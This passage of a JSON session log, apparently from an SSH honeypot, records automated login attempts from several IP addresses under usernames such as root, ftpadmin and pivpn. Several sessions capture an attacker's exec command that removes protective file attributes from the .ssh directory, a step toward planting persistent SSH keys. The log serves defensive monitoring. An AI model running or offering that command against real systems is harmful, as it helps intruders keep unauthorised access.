  "started_at": "2026-08-20T12:34:24.392718+00:00",
  "ended_at": "2026-08-20T12:34:25.553277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a987b119-a8ba-4a4f-b192-f7ab9853da5a",
  "name": "hazy-russet-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 51756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:34:22.210942+00:00",
  "ended_at": "2026-08-20T12:34:23.629785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c3c8566-31db-4f38-837c-d2ea2e67ded5",
  "name": "coastal-wooded-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 54788,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:32:03.961684+00:00",
  "ended_at": "2026-08-20T12:32:05.751350+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a589639f-335a-46b0-bf29-151ba5ebcc82",
  "name": "lunar-jolly-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 45598,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:31:37.611692+00:00",
  "ended_at": "2026-08-20T12:31:38.355426+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85c2fdb7-ab27-47c0-b817-a50a85d14c76",
  "name": "craggy-orderly-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 39574,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:26:57.732690+00:00",
  "ended_at": "2026-08-20T12:26:58.704064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "480ec80d-66e2-4856-97dd-06174b2da80f",
  "name": "leafy-freckled-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 34716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:08:41.365257+00:00",
  "ended_at": "2026-08-20T12:08:41.455427+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3731
 },
 {
  "id": "fc4ae57d-e2aa-4547-b3d2-95bd6211fa2d",
  "name": "quaint-airy-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 36678,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:08:26.994192+00:00",
  "ended_at": "2026-08-20T12:08:27.280837+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd13cd2f-cea4-4a31-87a3-6d03ff8689ca",
  "name": "stoic-zealous-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 34740,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:08:13.420050+00:00",
  "ended_at": "2026-08-20T12:08:14.324663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "908e4a4a-d9bd-4a49-b197-8a453883edc5",
  "name": "opal-pleasant-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 34728,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:08:12.061074+00:00",
  "ended_at": "2026-08-20T12:08:12.781383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22acd34e-8908-48df-b288-564e100821a1",
  "name": "whispering-gilded-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "52.176.211.73",
  "src_port": 35132,
  "username": "anupam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 135,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:07:15.709568+00:00",
  "ended_at": "2026-08-20T12:07:15.735619+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3632
 },
 {
  "id": "7e659b5a-478c-44fe-a29e-a17580ee3abe",
  "name": "crisp-feathered-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "52.176.211.73",
  "src_port": 37406,
  "username": "anupam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:07:03.140348+00:00",
  "ended_at": "2026-08-20T12:07:03.308960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc03405b-7226-4b0f-8ec8-1b46a5926d01",
  "name": "bashful-crisp-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "52.176.211.73",
  "src_port": 39100,
  "username": "anupam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:06:52.041452+00:00",
  "ended_at": "2026-08-20T12:06:53.098804+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d9f24c4-a483-4085-aa48-86db6fea795b",
  "name": "hollow-amiable-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "52.176.211.73",
  "src_port": 35134,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:06:50.436820+00:00",
  "ended_at": "2026-08-20T12:06:51.758453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cacb749-0d1b-49ee-b0a0-3a591da9664c",
  "name": "dutiful-hazel-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 52378,
  "username": "myftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:05:51.873191+00:00",
  "ended_at": "2026-08-20T12:05:53.077076+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1944bbb7-a1c3-4982-b5e1-8abadabb804e",
  "name": "blunt-silent-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "52.176.211.73",
  "src_port": 51658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:04:35.856145+00:00",
  "ended_at": "2026-08-20T12:04:36.479085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "603bc844-8066-4524-b8b0-87124197c7b0",
  "name": "lawful-mossy-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 54024,
  "username": "deepak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:03:45.746102+00:00",
  "ended_at": "2026-08-20T12:03:46.585609+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e9221e8-bb79-426d-aa8b-941ba8e8b86f",
  "name": "reedy-coastal-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "52.176.211.73",
  "src_port": 47418,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:00:34.381697+00:00",
  "ended_at": "2026-08-20T12:00:36.076680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "903526f7-48ef-4761-a6db-fec1240383f3",
  "name": "downy-frank-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 36590,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T11:57:06.491875+00:00",
  "ended_at": "2026-08-20T11:57:08.191603+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9bba1f2-f324-40d7-9c07-c07019fde769",
  "name": "hazy-shaded-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.178.72",
  "src_port": 56700,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:48:09.854549+00:00",
  "ended_at": "2026-08-20T09:49:08.676673+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaa2b28a-6666-4cf6-ad14-ca446e83aab5",
  "name": "northern-bold-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "78.109.200.147",
  "src_port": 51814,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 500,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T09:24:27.111292+00:00",
  "ended_at": "2026-08-20T09:24:27.263126+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3785
 },
 {
  "id": "31f581a2-2c4b-42b0-a6e7-d8c5b2775900",
  "name": "lanky-burly-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 59160,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:24:10.150359+00:00",
  "ended_at": "2026-08-20T09:24:10.579343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fcc8b26-4793-4136-a853-e99c3ca5f0c5",
  "name": "nimble-misty-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 51838,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:23:52.785643+00:00",
  "ended_at": "2026-08-20T09:23:54.084643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0312ccaa-d3b9-41f2-b290-9abd62e5f81a",
  "name": "lonesome-canny-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 51830,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:23:50.658436+00:00",
  "ended_at": "2026-08-20T09:23:51.675580+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9fe09c8-f362-4730-9890-658fe77be56d",
  "name": "tidal-indigo-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.161.113.136",
  "src_port": 53790,
  "username": "ftpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 849,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T09:22:05.365710+00:00",
  "ended_at": "2026-08-20T09:22:05.631619+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3812
 },
 {
  "id": "d992fa64-88ca-418f-a3a2-48614f8ca79f",
  "name": "granite-lively-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.161.113.136",
  "src_port": 47640,
  "username": "ftpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:21:45.129118+00:00",
  "ended_at": "2026-08-20T09:21:45.567601+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12ca58e8-0c63-48fb-aed6-0e182424c9a1",
  "name": "forlorn-boreal-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.161.113.136",
  "src_port": 53796,
  "username": "ftpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:21:18.701437+00:00",
  "ended_at": "2026-08-20T09:21:20.215365+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bec4ac49-7af8-4c41-a0b5-500156e910f8",
  "name": "gentle-blithe-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.161.113.136",
  "src_port": 53792,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:21:16.016395+00:00",
  "ended_at": "2026-08-20T09:21:17.040468+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbfde81a-50a1-41b0-94a9-d7e8531e7fce",
  "name": "supple-western-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 39402,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:21:10.199641+00:00",
  "ended_at": "2026-08-20T09:21:10.993929+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66726f27-5023-42e8-922b-2f91867ab90c",
  "name": "brave-candid-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 44254,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:18:46.781684+00:00",
  "ended_at": "2026-08-20T09:18:48.519050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6499622a-564b-4690-a018-cfda072f8bc7",
  "name": "mighty-solemn-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.161.113.136",
  "src_port": 46842,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:18:34.014294+00:00",
  "ended_at": "2026-08-20T09:18:34.783280+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a534a446-b68f-4a50-b648-14e8962533b6",
  "name": "granite-ashen-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.161.113.136",
  "src_port": 35898,
  "username": "staff",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:13:21.271729+00:00",
  "ended_at": "2026-08-20T09:13:22.184106+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f8bd847-9e66-42ac-9250-58a75e096549",
  "name": "kindly-ginger-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "78.109.200.147",
  "src_port": 54960,
  "username": "kapil",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:12:20.410082+00:00",
  "ended_at": "2026-08-20T09:12:22.440553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "054c15ef-8ec3-4aaf-8643-e90bce103e41",
  "name": "solar-daring-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 43012,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:25:46.396252+00:00",
  "ended_at": "2026-08-20T07:44:44+00:00",
  "ended_reason": "stale: no end frame",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21640e09-0949-4d33-89e8-0081d4088c04",
  "name": "dusky-polar-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "120.48.90.166",
  "src_port": 46696,
  "username": "sql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T07:18:01.029314+00:00",
  "ended_at": "2026-08-20T07:22:01.048252+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "34ee179d-a3cc-4145-bce6-840d75fdefd0",
  "name": "dusky-solar-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 58916,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:14:10.843275+00:00",
  "ended_at": "2026-08-20T07:18:11.148835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b3f18d2-680b-4bfa-8a2e-86d95534172e",
  "name": "nimble-amber-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 47330,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:10:19.503006+00:00",
  "ended_at": "2026-08-20T07:11:17.631083+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9209463f-eb58-40f6-90df-f6b23f6eb170",
  "name": "daring-wistful-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 46472,
  "username": "null",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:02:43.616705+00:00",
  "ended_at": "2026-08-20T07:02:45.480164+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8c8d67da-d78d-43c9-b486-112c23234af6",
  "name": "idle-gilded-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 55200,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:55:09.051892+00:00",
  "ended_at": "2026-08-20T06:56:07.277437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eacfb5a9-0500-4287-9207-183517ffebf7",
  "name": "languid-stoic-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 47332,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:51:13.652224+00:00",
  "ended_at": "2026-08-20T07:44:44+00:00",
  "ended_reason": "stale: no end frame",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4aab3554-6518-4119-965d-cd78ec6c1e63",
  "name": "candid-keen-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 46438,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:47:15.788045+00:00",
  "ended_at": "2026-08-20T07:44:44+00:00",
  "ended_reason": "stale: no end frame",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3581674-d582-4639-b59a-0a6a059f3f94",
  "name": "ancient-daring-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 51714,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:35:08.280030+00:00",
  "ended_at": "2026-08-20T07:44:44+00:00",
  "ended_reason": "stale: no end frame",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82b2eaf2-4051-4079-a65b-d93a3c5056ae",
  "name": "wandering-electric-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 49688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:26:54.663470+00:00",
  "ended_at": "2026-08-20T06:26:56.201220+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d3fc8efe-c601-4621-9a22-99a8d4ad0861",
  "name": "crimson-fabled-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 54840,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:22:51.641826+00:00",
  "ended_at": "2026-08-20T06:24:49.029570+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75477fe4-07a8-4d64-b476-1b63cbbf7a9f",
  "name": "silent-lunar-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 51648,
  "username": "teamspeak3",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:10:45.977924+00:00",
  "ended_at": "2026-08-20T06:10:46.844733+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88e56eb6-fb2b-44ac-a292-58c2bea17bdc",
  "name": "glassy-clever-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.75.247.232",
  "src_port": 38394,
  "username": "fts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T06:09:48.871254+00:00",
  "ended_at": "2026-08-20T06:09:48.945271+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3545
 },
 {
  "id": "c42d90cc-f169-4826-b75f-61c5f8464c28",
  "name": "bitter-ancient-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 44492,
  "username": "fts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:09:31.862725+00:00",
  "ended_at": "2026-08-20T06:09:32.140064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12f996f7-4b03-43ea-90e8-82184c3fdac9",
  "name": "sunlit-arctic-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 39462,
  "username": "fts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:09:19.337718+00:00",
  "ended_at": "2026-08-20T06:09:20.199910+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c4e15ce-976b-4b80-8278-9037b16f9054",
  "name": "velvet-cobalt-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 38890,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:09:17.982152+00:00",
  "ended_at": "2026-08-20T06:09:18.812744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "501abf1b-e382-4fce-bf5b-0b18c42eafdc",
  "name": "velvet-solar-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 48428,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:07:18.342778+00:00",
  "ended_at": "2026-08-20T06:07:20.193022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43424202-0554-4b03-94cc-5b9aa04f18d9",
  "name": "idle-sunlit-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 58458,
  "username": "andy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:05:12.070489+00:00",
  "ended_at": "2026-08-20T06:05:12.830592+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf5e27c6-8ddb-41ba-92e3-8c3971679ac9",
  "name": "autumn-faded-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 40264,
  "username": "edi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:03:12.984529+00:00",
  "ended_at": "2026-08-20T06:03:14.501155+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
